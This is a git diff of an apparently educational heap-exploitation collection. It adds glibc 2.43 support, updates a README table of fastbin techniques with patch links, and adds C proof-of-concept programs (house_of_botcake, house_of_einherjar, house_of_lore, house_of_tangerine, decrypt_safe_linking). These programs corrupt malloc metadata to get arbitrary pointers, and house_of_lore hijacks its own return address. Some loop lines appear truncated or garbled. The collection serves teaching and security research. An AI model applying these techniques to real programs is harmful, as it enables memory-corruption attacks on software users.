diff --git a/Makefile b/Makefile
index 90f34d6..901285c 100644
--- a/Makefile
+++ b/Makefile
@@ -1,6 +1,6 @@
.PHONY: help clean distclean all test
-VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41 2.42
+VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41 2.42 2.43
TECH_BINS := $(patsubst %.c,%,$(wildcard glibc_*/*.c))
BASE_BINS := $(patsubst %.c,%,$(wildcard *.c))
DOWNLOADED := glibc-all-in-one/libs glibc-all-in-one/debs
diff --git a/README.md b/README.md
index 39e5a5e..59bc33a 100644
--- a/README.md
+++ b/README.md
@@ -10,9 +10,9 @@ We came up with the idea during a hack meeting, and have implemented the followi
|------|-----|-----------|---------------|-------|---------------------------|
| [first_fit.c](first_fit.c) | | Demonstrating glibc malloc's first-fit behavior. | | | |
| [calc_tcache_idx.c](calc_tcache_idx.c)| | Demonstrating glibc's tcache index calculation.| | | |
-| [fastbin_dup.c](glibc_2.35/fastbin_dup.c) | :arrow_forward: | Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist. | latest | | |
-| [fastbin_dup_into_stack.c](glibc_2.35/fastbin_dup_into_stack.c) | :arrow_forward: | Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. | latest | | [9447-search-engine](https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine), [0ctf 2017-babyheap](https://web.archive.org/web/20181104155842/http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html) |
-| [fastbin_dup_consolidate.c](glibc_2.35/fastbin_dup_consolidate.c) | :arrow_forward: | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and the top chunk. | latest | | [Hitcon 2016 SleepyHolder](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder) |
+| [fastbin_dup.c](glibc_2.35/fastbin_dup.c) | :arrow_forward: | Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist. | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | |
+| [fastbin_dup_into_stack.c](glibc_2.35/fastbin_dup_into_stack.c) | :arrow_forward: | Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | [9447-search-engine](https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine), [0ctf 2017-babyheap](https://web.archive.org/web/20181104155842/http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html) |
+| [fastbin_dup_consolidate.c](glibc_2.35/fastbin_dup_consolidate.c) | :arrow_forward: | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and the top chunk. | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | [Hitcon 2016 SleepyHolder](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder) |
| [unsafe_unlink.c](glibc_2.35/unsafe_unlink.c) | :arrow_forward: | Exploiting free on a corrupted chunk to get arbitrary write. | latest | | [HITCON CTF 2014-stkof](http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/), [Insomni'hack 2017-Wheel of Robots](https://gist.github.com/niklasb/074428333b817d2ecb63f7926074427a) |
| [house_of_spirit.c](glibc_2.35/house_of_spirit.c) | :arrow_forward: | Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer. | latest | | [hack.lu CTF 2014-OREO](https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo) |
| [poison_null_byte.c](glibc_2.35/poison_null_byte.c) | :arrow_forward: | Exploiting a single null byte overflow. | latest | | [PlaidCTF 2015-plaiddb](https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb), [BalsnCTF 2019-PlainNote](https://gist.github.com/st424204/6b5c007cfa2b62ed3fd2ef30f6533e94?fbclid=IwAR3n0h1WeL21MY6cQ_C51wbXimdts53G3FklVIHw2iQSgtgGo0kR3Lt-1Ek)|
@@ -34,8 +34,8 @@ We came up with the idea during a hack meeting, and have implemented the followi
| [tcache_house_of_spirit.c](glibc_2.35/tcache_house_of_spirit.c) | :arrow_forward: | Frees a fake chunk to get malloc to return a nearly-arbitrary pointer. | > 2.25 | | |
| [house_of_botcake.c](glibc_2.35/house_of_botcake.c) | :arrow_forward: | Bypass double free restriction on tcache. Make `tcache_dup` great again. | > 2.25 | | |
| [tcache_stashing_unlink_attack.c](glibc_2.35/tcache_stashing_unlink_attack.c) | :arrow_forward: | Exploiting the overwrite of a freed chunk on small bin freelist to trick malloc into returning an arbitrary pointer and write a large value into arbitraty address with the help of calloc. | > 2.25 | | [Hitcon 2019 one punch man](https://github.com/xmzyshypnc/xz_files/tree/master/hitcon2019_one_punch_man) |
-| [fastbin_reverse_into_tcache.c](glibc_2.35/fastbin_reverse_into_tcache.c) | :arrow_forward: | Exploiting the overwrite of a freed chunk in the fastbin to write a large value into an arbitrary address. | > 2.25 | | |
-| [house_of_mind_fastbin.c](glibc_2.35/house_of_mind_fastbin.c) | :arrow_forward: | Exploiting a single byte overwrite with arena handling to write a large value (heap pointer) to an arbitrary address | latest | | |
+| [fastbin_reverse_into_tcache.c](glibc_2.35/fastbin_reverse_into_tcache.c) | :arrow_forward: | Exploiting the overwrite of a freed chunk in the fastbin to write a large value into an arbitrary address. | 2.26 - 2.42 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | |
+| [house_of_mind_fastbin.c](glibc_2.35/house_of_mind_fastbin.c) | :arrow_forward: | Exploiting a single byte overwrite with arena handling to write a large value (heap pointer) to an arbitrary address | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | |
| [house_of_storm.c](glibc_2.27/house_of_storm.c) | :arrow_forward: | Exploiting a use after free on both a large and unsorted bin chunk to return an arbitrary chunk from malloc| < 2.29 | | |
| [house_of_gods.c](glibc_2.24/house_of_gods.c) | :arrow_forward: | A technique to hijack a thread's arena within 8 allocations | < 2.27 | | |
| [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | :arrow_forward: | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | |
diff --git a/glibc_2.42/house_of_tangerine.c b/glibc_2.42/house_of_tangerine.c
index 09ab47f..a488b33 100644
--- a/glibc_2.42/house_of_tangerine.c
+++ b/glibc_2.42/house_of_tangerine.c
@@ -140,18 +140,27 @@ int main() {
assert(freed_top_size == CHUNK_SIZE_1);
+ // free the previous top_chunk
+ heap_ptr = malloc(SIZE_3);
+
// this will be our vuln_tcache for tcache poisoning
vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];
printf("tcache next ptr: 0x%lx\n", vuln_tcache);
- // free the previous top_chunk
- heap_ptr = malloc(SIZE_3);
-
- // in glibc-2.42, the freed chunk will be directly added into fastbin, which is not
- // as good as in tcachebin, let's force it to be in tcache by taking it out and free it
- free(malloc(SIZE_1));
-
+ // do the above again to free one more chunk so that we can moves chunks from smallbin to tcache
+ printf("repeat the above process and obtain one more free chunk\n");
+ top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];
+ new_top_size = top_size & PAGE_MASK;
+ heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;
+ heap_ptr = malloc(SIZE_3); // do the free
+ printf("At this point, the latest freed chunk will be in fastbin while the other two in smallbin.\n");
+ printf("We do one more large allocation malloc(0x10000) to move the chunk from fastbin to smallbin, so 3 chunks in smallbin\n");
+ void *pad1 = malloc(0x10000); // a huge allocation that moves the fastbin to smallbin
+ printf("Now, we allocate one chunks from the smallbin, this will move the other two chunks into tcache.\n");
+ void *pad2 = malloc(SIZE_1); // allocate from the smallbin to move things into tcache
+
+ printf("Finally, we can do tcache poisoning.\n");
// corrupt next ptr into pointing to target
// use a heap leak to bypass safe linking (GLIBC >= 2.32)
heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);
@@ -164,5 +173,5 @@ int main() {
// proof that heap_ptr now points to the same string as target
assert((size_t) heap_ptr == target);
- puts((char *) heap_ptr);
+ puts("Success! During the whole process, we didn't use the free() function.");
}
diff --git a/glibc_2.43/decrypt_safe_linking.c b/glibc_2.43/decrypt_safe_linking.c
new file mode 100644
index 0000000..aaf0340
--- /dev/null
+++ b/glibc_2.43/decrypt_safe_linking.c
@@ -0,0 +1,66 @@
+#include
+#include
+#include
+
+long decrypt(long cipher)
+{
+ puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
+ puts("because of the 12bit sliding.");
+ puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
+ long key = 0;
+ long plain;
+
+ for(int i=1; i<6; i++) {
+ int bits = 64-12*i;
+ if(bits < 0) bits = 0;
+ plain = ((cipher ^ key) >> bits) << bits;
+ key = plain >> 12;
+ printf("round %d:\n", i);
+ printf("key: %#016lx\n", key);
+ printf("plain: %#016lx\n", plain);
+ printf("cipher: %#016lx\n\n", cipher);
+ }
+ return plain;
+}
+
+int main()
+{
+ /*
+ * This technique demonstrates how to recover the original content from a poisoned
+ * value because of the safe-linking mechanism.
+ * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known
+ * and the key (ASLR slide) is the same to the pointer's leading bits.
+ * As a result, as long as the chunk where the pointer is stored is at the same page
+ * of the pointer itself, the value of the pointer can be fully recovered.
+ * Otherwise, we can also recover the pointer with the page-offset between the storer
+ * and the pointer. What we demonstrate here is a special case whose page-offset is 0.
+ * For demonstrations of other more general cases, plz refer to
+ * https://github.com/n132/Dec-Safe-Linking
+ */
+
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ // step 1: allocate chunks
+ long *a = malloc(0x20);
+ long *b = malloc(0x20);
+ printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b);
+ malloc(0x10);
+ puts("And then create a padding chunk to prevent consolidation.");
+
+
+ // step 2: free chunks
+ puts("Now free chunk a and then free chunk b.");
+ free(a);
+ free(b);
+ printf("Now the freelist is: [%p -> %p]\n", b, a);
+ printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);
+
+ // step 3: recover the values
+ puts("Now decrypt the poisoned value");
+ long plaintext = decrypt(b[0]);
+
+ printf("value: %p\n", a);
+ printf("recovered value: %#lx\n", plaintext);
+ assert(plaintext == (long)a);
+}
diff --git a/glibc_2.43/house_of_botcake.c b/glibc_2.43/house_of_botcake.c
new file mode 100644
index 0000000..71b9007
--- /dev/null
+++ b/glibc_2.43/house_of_botcake.c
@@ -0,0 +1,86 @@
+#include
+#include
+#include
+#include
+#include
+#include
+
+
+int main()
+{
+ /*
+ * This attack should bypass the restriction introduced in
+ * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
+ * If the libc does not include the restriction, you can simply double free the victim and do a
+ * simple tcache poisoning
+ * And thanks to @anton00b and @subwire for the weird name of this technique */
+
+ // disable buffering so _IO_FILE does not interfere with our heap
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ // introduction
+ puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
+ puts("returning a pointer to an arbitrary location (in this demo, the stack).");
+ puts("This attack only relies on double free.\n");
+
+ // prepare the target
+ intptr_t stack_var[4];
+ puts("The address we want malloc() to return, namely,");
+ printf("the target address is %p.\n\n", stack_var);
+
+ // prepare heap layout
+ puts("Preparing heap layout");
+ puts("Allocating 0x10 chunks(malloc(0x100)) for us to fill up tcache list later.");
+ intptr_t *x[0x10];
+ for(int i=0; inext pointer.");
+ // mangle the pointer since glibc 2.32
+ unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;
+
+ puts("Get back victim chunk from tcache. This will put target to tcache top.");
+ a = malloc(0x100);
+ int a_size = a[-1] & 0xff0;
+ printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
+
+ puts("Get the target chunk from tcache.");
+ intptr_t *target = malloc(0x100);
+ target[0] = 0xcafebabe;
+
+ printf("target @ %p == stack_var @ %p\n", target, stack_var);
+ assert(stack_var[0] == 0xcafebabe);
+ return 0;
+}
diff --git a/glibc_2.43/house_of_einherjar.c b/glibc_2.43/house_of_einherjar.c
new file mode 100644
index 0000000..dc095cf
--- /dev/null
+++ b/glibc_2.43/house_of_einherjar.c
@@ -0,0 +1,157 @@
+#include
+#include
+#include
+#include
+#include
+
+int main()
+{
+ /*
+ * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.
+ * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
+ * It has the additional requirement of a heap leak.
+ *
+ * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,
+ * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.
+ * The following restriction for normal bins won't allow us to create chunks bigger than the memory
+ * allocated from the system in this arena:
+ *
+ * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */
+
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ printf("Welcome to House of Einherjar 2!\n");
+ printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n");
+ printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
+
+ printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n");
+ printf("Next, we use tcache poisoning to hijack control flow.\n"
+ "Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,"
+ "now tcache poisoning requires a heap leak.\n");
+
+ // prepare the target,
+ // due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,
+ // it must be properly aligned.
+ intptr_t stack_var[0x10];
+ intptr_t *target = NULL;
+
+ // choose a properly aligned target address
+ for(int i=0; i<0x10; i++) {
+ if(((long)&stack_var[i] & 0xf) == 0) {
+ target = &stack_var[i];
+ break;
+ }
+ }
+ assert(target != NULL);
+ printf("\nThe address we want malloc() to return is %p.\n", (char *)target);
+
+ printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");
+ intptr_t *a = malloc(0x38);
+
+ // create a fake chunk
+ printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");
+ printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
+
+ a[0] = 0; // prev_size (Not Used)
+ a[1] = 0x60; // size
+ a[2] = (size_t) a; // fwd
+ a[3] = (size_t) a; // bck
+
+ printf("Our fake chunk at %p looks like:\n", a);
+ printf("prev_size (not used): %#lx\n", a[0]);
+ printf("size: %#lx\n", a[1]);
+ printf("fwd: %#lx\n", a[2]);
+ printf("bck: %#lx\n", a[3]);
+
+ printf("\nWe allocate 0x28 bytes for 'b'.\n"
+ "This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
+ "After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");
+ uint8_t *b = (uint8_t *) malloc(0x28);
+ printf("b: %p\n", b);
+
+ int real_b_size = malloc_usable_size(b);
+ printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);
+
+ /* In this case it is easier if the chunk size attribute has a least significant byte with
+ * a value of 0x00. The least significant byte of this will be 0x00, because the size of
+ * the chunk includes the amount requested plus some amount required for the metadata. */
+ printf("\nWe allocate 0xf8 bytes for 'c'.\n");
+ uint8_t *c = (uint8_t *) malloc(0xf8);
+
+ printf("c: %p\n", c);
+
+ uint64_t* c_size_ptr = (uint64_t*)(c - 8);
+ // This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit
+
+ printf("\nc.size: %#lx\n", *c_size_ptr);
+ printf("c.size is: (0x100) | prev_inuse = 0x101\n");
+
+ printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");
+ // VULNERABILITY
+ b[real_b_size] = 0;
+ // VULNERABILITY
+ printf("c.size: %#lx\n", *c_size_ptr);
+
+ printf("It is easier if b.size is a multiple of 0x100 so you "
+ "don't change the size of b, only its prev_inuse bit\n");
+
+ // Write a fake prev_size to the end of b
+ printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
+ "it will consolidate with our fake chunk\n", sizeof(size_t));
+ size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
+ printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);
+ *(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
+
+ // Change the fake chunk's size to reflect c's new prev_size
+ printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");
+ a[1] = fake_size;
+
+ printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);
+
+ // Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
+ printf("\nFill tcache.\n");
+ intptr_t *x[0x10];
+ for(int i=0; i %p ].\n", b, pad);
+
+ printf("We overwrite b's fwd pointer using chunk 'd'\n");
+ // requires a heap leak because it assumes the address of d is known.
+ // since house of einherjar also requires a heap leak, we can simply just use it here.
+ d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);
+
+ // take target out
+ printf("Now we can cash out the target chunk.\n");
+ malloc(0x28);
+ intptr_t *e = malloc(0x28);
+ printf("\nThe new chunk is at %p\n", e);
+
+ // sanity check
+ assert(e == target);
+ printf("Got control on target/stack!\n\n");
+}
diff --git a/glibc_2.43/house_of_lore.c b/glibc_2.43/house_of_lore.c
new file mode 100644
index 0000000..a1586e0
--- /dev/null
+++ b/glibc_2.43/house_of_lore.c
@@ -0,0 +1,137 @@
+/*
+Advanced exploitation of the House of Lore - Malloc Maleficarum.
+This PoC take care also of the glibc hardening of smallbin corruption.
+
+[ ... ]
+
+else
+ {
+ bck = victim->bk;
+ if (__glibc_unlikely (bck->fd != victim)){
+
+ errstr = "malloc(): smallbin double linked list corrupted";
+ goto errout;
+ }
+
+ set_inuse_bit_at_offset (victim, nb);
+ bin->bk = bck;
+ bck->fd = bin;
+
+ [ ... ]
+
+*/
+
+#include
+#include
+#include
+#include
+#include
+
+void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
+
+int main(int argc, char * argv[]){
+
+
+ intptr_t* stack_buffer_1[4] = {0};
+ intptr_t* stack_buffer_2[4] = {0};
+ void* fake_freelist[7][4];
+
+ fprintf(stderr, "\nWelcome to the House of Lore\n");
+ fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
+ fprintf(stderr, "This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\n\n");
+
+ fprintf(stderr, "Allocating the victim chunk\n");
+ intptr_t *victim = malloc(0x100);
+ fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
+
+ fprintf(stderr, "Allocating dummy chunks for using up tcache later\n");
+ void *dummies[7];
+ for(int i=0; i<7; i++) dummies[i] = malloc(0x100);
+
+ // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
+ intptr_t *victim_chunk = victim-2;
+
+ fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
+ fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
+
+ fprintf(stderr, "Create a fake free-list on the stack\n");
+ for(int i=0; i<6; i++) {
+ fake_freelist[i][3] = fake_freelist[i+1];
+ }
+ fake_freelist[6][3] = NULL;
+ fprintf(stderr, "fake free-list at %p\n", fake_freelist);
+
+ fprintf(stderr, "Create a fake chunk on the stack\n");
+ fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
+ "in second to the last malloc, which putting stack address on smallbin list\n");
+ stack_buffer_1[0] = 0;
+ stack_buffer_1[1] = 0;
+ stack_buffer_1[2] = victim_chunk;
+
+ fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
+ "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
+ "chunk on stack");
+ stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
+ stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
+
+ fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash "
+ "introduced by smallbin-to-tcache mechanism\n");
+ stack_buffer_2[3] = (intptr_t *)fake_freelist[0];
+
+ fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
+ "the small one during the free()\n");
+ void *p5 = malloc(1000);
+ fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
+
+
+ fprintf(stderr, "Freeing dummy chunk\n");
+ for(int i=0; i<7; i++) free(dummies[i]);
+ fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
+ free((void*)victim);
+
+ fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");
+ fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
+ fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
+
+ fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
+ fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
+
+ void *p2 = malloc(1200);
+ fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
+
+ fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
+ fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
+ fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
+
+ //------------VULNERABILITY-----------
+
+ fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
+
+ victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
+
+ //------------------------------------
+ fprintf(stderr, "Now take all dummies chunk in tcache out\n");
+ for(int i=0; i<7; i++) malloc(0x100);
+
+
+ fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
+ fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
+
+ void *p3 = malloc(0x100);
+
+ fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
+ char *p4 = malloc(0x100);
+ fprintf(stderr, "p4 = malloc(0x100)\n");
+
+ fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
+ stack_buffer_2[2]);
+
+ fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
+ intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
+
+ long offset = (long)__builtin_frame_address(0) - (long)p4;
+ memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
+
+ // sanity check
+ assert((long)__builtin_return_address(0) == (long)jackpot);
+}
diff --git a/glibc_2.43/house_of_tangerine.c b/glibc_2.43/house_of_tangerine.c
new file mode 100644
index 0000000..b145cd2
--- /dev/null
+++ b/glibc_2.43/house_of_tangerine.c
@@ -0,0 +1,174 @@
+#define _GNU_SOURCE
+
+#include
+#include
+#include
+#include
+#include
+
+#define SIZE_SZ sizeof(size_t)
+
+#define CHUNK_HDR_SZ (SIZE_SZ*2)
+// same for x86_64 and x86
+#define MALLOC_ALIGN 0x10L
+#define MALLOC_MASK (-MALLOC_ALIGN)
+
+#define PAGESIZE sysconf(_SC_PAGESIZE)
+#define PAGE_MASK (PAGESIZE-1)
+
+// fencepost are offsets removed from the top before freeing
+#define FENCEPOST (2*CHUNK_HDR_SZ)
+
+#define PROBE (0x20-CHUNK_HDR_SZ)
+
+// size used for poisoned tcache
+#define CHUNK_SIZE_1 0x40
+#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)
+
+// could also be split into multiple lower size allocations
+#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)
+#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)
+
+/**
+ * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)
+ *
+ * House of Tangerine is the modernized version of House of Orange
+ * and is able to corrupt heap without needing to call free() directly
+ *
+ * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc
+ * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913
+ *
+ * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer
+ * by abusing the tcache freelist. (requires heap leak on and after 2.32)
+ *
+ * this version expects a positive and negative OOB (e.g. BOF)
+ * or a positive OOB in editing a previous chunk
+ *
+ * This version requires 5 (6*) malloc calls and 3 OOB
+ *
+ * *to make the PoC more reliable we need to malloc and probe the current top chunk size,
+ * this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead
+ *
+ * Special Thanks to pepsipu for creating the challenge "High Frequency Troubles"
+ * from Pico CTF 2024 that inspired this exploitation technique
+ */
+int main() {
+ size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;
+ long win[2] __attribute__ ((aligned (0x10)));
+ // disable buffering
+ setvbuf(stdout, NULL, _IONBF, 0);
+ setvbuf(stdin, NULL, _IONBF, 0);
+ setvbuf(stderr, NULL, _IONBF, 0);
+
+ // check if all chunks sizes are aligned
+ assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);
+ assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);
+
+ puts("Constants:");
+ printf("chunk header = 0x%lx\n", CHUNK_HDR_SZ);
+ printf("malloc align = 0x%lx\n", MALLOC_ALIGN);
+ printf("page align = 0x%lx\n", PAGESIZE);
+ printf("fencepost size = 0x%lx\n", FENCEPOST);
+ printf("size_1 = 0x%lx\n", SIZE_1);
+
+ printf("target tcache top size = 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);
+
+ // target is malloc aligned 0x10
+ // since this patch in glibc-2.42: https://patchwork.sourceware.org/project/glibc/patch/20250206213709.2394624-2-benjamin.p.kallus.gr@dartmouth.edu/
+ // the size of the target chunk must be set
+ target = (size_t) &win[0];
+ win[1] = 0x41;
+
+ // probe the current size of the top_chunk,
+ // can be skipped if it is already known or predictable
+ heap_ptr = malloc(PROBE);
+ top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];
+ printf("first top size = 0x%lx\n", top_size);
+
+ // calculate size_2
+
+ size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;
+ size_2 &= PAGE_MASK;
+ size_2 &= MALLOC_MASK;
+
+
+ printf("size_2 = 0x%lx\n", size_2);
+
+ // first allocation
+ heap_ptr = malloc(size_2);
+
+ // use BOF or OOB to corrupt the top_chunk
+ top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];
+
+ top_size = *top_size_ptr;
+
+ printf("first top size = 0x%lx\n", top_size);
+
+ // make sure corrupt top size is page aligned, generally 0x1000
+ // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599
+ new_top_size = top_size & PAGE_MASK;
+ *top_size_ptr = new_top_size;
+ printf("new first top size = 0x%lx\n", new_top_size);
+
+ // remove fencepost from top_chunk, to get size that will be freed
+ // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895
+ freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;
+ assert(freed_top_size == CHUNK_SIZE_1);
+
+ /*
+ * malloc (larger than available_top_size), to free previous top_chunk using _int_free.
+ * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged
+ * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913
+ * we prevent the top_chunk from being merged by lowering its size
+ * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged
+ */
+
+ printf("size_3 = 0x%lx\n", SIZE_3);
